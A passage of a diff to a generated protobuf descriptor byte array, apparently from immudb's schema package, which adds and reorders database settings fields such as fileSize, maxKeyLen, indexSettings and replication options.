0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, + 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, + 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x22, 0x26, 0x0a, 0x0e, 0x4e, 0x75, + 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x12, 0x14, 0x0a, 0x05, + 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x22, 0x26, 0x0a, 0x0e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, + 0x6e, 0x74, 0x36, 0x34, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x04, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x25, 0x0a, 0x0d, 0x4e, 0x75, + 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x46, 0x6c, 0x6f, 0x61, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x76, + 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x02, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, + 0x65, 0x22, 0x24, 0x0a, 0x0c, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, + 0x6c, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x26, 0x0a, 0x0e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, + 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, + 0x2c, 0x0a, 0x14, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, + 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x8a, 0x0b, + 0x0a, 0x18, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, + 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x5c, 0x0a, 0x13, 0x72, 0x65, + 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, + 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, + 0x6e, 0x67, 0x73, 0x52, 0x13, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, + 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x39, 0x0a, 0x08, 0x66, 0x69, 0x6c, 0x65, + 0x53, 0x69, 0x7a, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, - 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x17, 0x63, 0x6f, 0x6d, 0x6d, 0x69, - 0x74, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, - 0x65, 0x73, 0x12, 0x4a, 0x0a, 0x0d, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x53, 0x65, 0x74, 0x74, 0x69, - 0x6e, 0x67, 0x73, 0x18, 0x13, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4e, - 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, - 0x0d, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x51, - 0x0a, 0x14, 0x77, 0x72, 0x69, 0x74, 0x65, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x56, - 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x14, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, - 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x14, 0x77, 0x72, 0x69, - 0x74, 0x65, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, - 0x6e, 0x12, 0x37, 0x0a, 0x08, 0x61, 0x75, 0x74, 0x6f, 0x6c, 0x6f, 0x61, 0x64, 0x18, 0x15, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, - 0x52, 0x08, 0x61, 0x75, 0x74, 0x6f, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x45, 0x0a, 0x0e, 0x72, 0x65, - 0x61, 0x64, 0x54, 0x78, 0x50, 0x6f, 0x6f, 0x6c, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x16, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, - 0x32, 0x52, 0x0e, 0x72, 0x65, 0x61, 0x64, 0x54, 0x78, 0x50, 0x6f, 0x6f, 0x6c, 0x53, 0x69, 0x7a, - 0x65, 0x12, 0x49, 0x0a, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x46, 0x72, 0x65, 0x71, 0x75, 0x65, 0x6e, - 0x63, 0x79, 0x18, 0x17, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, - 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x0d, 0x73, - 0x79, 0x6e, 0x63, 0x46, 0x72, 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, 0x79, 0x12, 0x47, 0x0a, 0x0f, - 0x77, 0x72, 0x69, 0x74, 0x65, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x18, - 0x18, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x08, 0x66, 0x69, 0x6c, 0x65, 0x53, + 0x69, 0x7a, 0x65, 0x12, 0x3b, 0x0a, 0x09, 0x6d, 0x61, 0x78, 0x4b, 0x65, 0x79, 0x4c, 0x65, 0x6e, + 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, + 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x09, 0x6d, 0x61, 0x78, 0x4b, 0x65, 0x79, 0x4c, 0x65, 0x6e, + 0x12, 0x3f, 0x0a, 0x0b, 0x6d, 0x61, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x4c, 0x65, 0x6e, 0x18, + 0x0a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, - 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x42, 0x75, 0x66, 0x66, 0x65, - 0x72, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x44, 0x0a, 0x0b, 0x61, 0x68, 0x74, 0x53, 0x65, 0x74, 0x74, - 0x69, 0x6e, 0x67, 0x73, 0x18, 0x19, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x41, 0x48, 0x54, 0x4e, 0x75, - 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x0b, - 0x61, 0x68, 0x74, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x22, 0xb4, 0x06, 0x0a, 0x1b, - 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, - 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x35, 0x0a, 0x07, 0x72, - 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, - 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, - 0x63, 0x61, 0x12, 0x47, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, 0x61, 0x74, - 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, - 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, - 0x61, 0x72, 0x79, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x3f, 0x0a, 0x0b, 0x70, - 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, + 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0b, 0x6d, 0x61, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x4c, 0x65, + 0x6e, 0x12, 0x41, 0x0a, 0x0c, 0x6d, 0x61, 0x78, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, + 0x73, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, + 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0c, 0x6d, 0x61, 0x78, 0x54, 0x78, 0x45, 0x6e, 0x74, + 0x72, 0x69, 0x65, 0x73, 0x12, 0x49, 0x0a, 0x11, 0x65, 0x78, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x43, + 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x54, 0x69, 0x6d, 0x65, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x11, 0x65, 0x78, + 0x63, 0x6c, 0x75, 0x64, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x54, 0x69, 0x6d, 0x65, 0x12, + 0x45, 0x0a, 0x0e, 0x6d, 0x61, 0x78, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, + 0x79, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, + 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x6d, 0x61, 0x78, 0x43, 0x6f, 0x6e, 0x63, 0x75, + 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x12, 0x49, 0x0a, 0x10, 0x6d, 0x61, 0x78, 0x49, 0x4f, 0x43, + 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x18, 0x0e, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, - 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x3f, 0x0a, 0x0b, - 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, - 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x47, 0x0a, - 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, - 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, - 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, - 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x47, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, - 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0f, - 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, - 0x45, 0x0a, 0x0f, 0x73, 0x79, 0x6e, 0x63, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, - 0x6f, 0x6e, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, - 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x0f, 0x73, 0x79, 0x6e, 0x63, 0x52, 0x65, 0x70, 0x6c, 0x69, - 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x39, 0x0a, 0x08, 0x73, 0x79, 0x6e, 0x63, 0x41, 0x63, - 0x6b, 0x73, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, - 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x08, 0x73, 0x79, 0x6e, 0x63, 0x41, 0x63, 0x6b, - 0x73, 0x12, 0x51, 0x0a, 0x14, 0x70, 0x72, 0x65, 0x66, 0x65, 0x74, 0x63, 0x68, 0x54, 0x78, 0x42, - 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x14, - 0x70, 0x72, 0x65, 0x66, 0x65, 0x74, 0x63, 0x68, 0x54, 0x78, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, - 0x53, 0x69, 0x7a, 0x65, 0x12, 0x61, 0x0a, 0x1c, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, - 0x69, 0x6f, 0x6e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, - 0x65, 0x6e, 0x63, 0x79, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, - 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x1c, 0x72, 0x65, 0x70, 0x6c, 0x69, - 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x43, 0x6f, 0x6e, 0x63, - 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x12, 0x49, 0x0a, 0x11, 0x41, 0x6c, 0x6c, 0x6f, 0x77, - 0x54, 0x78, 0x44, 0x69, 0x73, 0x63, 0x61, 0x72, 0x64, 0x69, 0x6e, 0x67, 0x18, 0x0b, 0x20, 0x01, + 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, + 0x10, 0x6d, 0x61, 0x78, 0x49, 0x4f, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, + 0x79, 0x12, 0x45, 0x0a, 0x0e, 0x74, 0x78, 0x4c, 0x6f, 0x67, 0x43, 0x61, 0x63, 0x68, 0x65, 0x53, + 0x69, 0x7a, 0x65, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, + 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x74, 0x78, 0x4c, 0x6f, 0x67, 0x43, + 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x4d, 0x0a, 0x12, 0x76, 0x4c, 0x6f, 0x67, + 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x10, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, + 0x74, 0x33, 0x32, 0x52, 0x12, 0x76, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, + 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x4f, 0x0a, 0x13, 0x74, 0x78, 0x4c, 0x6f, 0x67, + 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x11, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, + 0x74, 0x33, 0x32, 0x52, 0x13, 0x74, 0x78, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, + 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x57, 0x0a, 0x17, 0x63, 0x6f, 0x6d, 0x6d, + 0x69, 0x74, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, + 0x6c, 0x65, 0x73, 0x18, 0x12, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, + 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x17, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, + 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, + 0x73, 0x12, 0x4a, 0x0a, 0x0d, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, + 0x67, 0x73, 0x18, 0x13, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4e, 0x75, + 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x0d, + 0x69, 0x6e, 0x64, 0x65, 0x78, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x51, 0x0a, + 0x14, 0x77, 0x72, 0x69, 0x74, 0x65, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x56, 0x65, + 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x14, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, + 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x14, 0x77, 0x72, 0x69, 0x74, + 0x65, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, + 0x12, 0x37, 0x0a, 0x08, 0x61, 0x75, 0x74, 0x6f, 0x6c, 0x6f, 0x61, 0x64, 0x18, 0x15, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, - 0x11, 0x41, 0x6c, 0x6c, 0x6f, 0x77, 0x54, 0x78, 0x44, 0x69, 0x73, 0x63, 0x61, 0x72, 0x64, 0x69, - 0x6e, 0x67, 0x22, 0xfb, 0x07, 0x0a, 0x15, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4e, 0x75, 0x6c, 0x6c, - 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x45, 0x0a, 0x0e, - 0x66, 0x6c, 0x75, 0x73, 0x68, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x01, + 0x08, 0x61, 0x75, 0x74, 0x6f, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x45, 0x0a, 0x0e, 0x72, 0x65, 0x61, + 0x64, 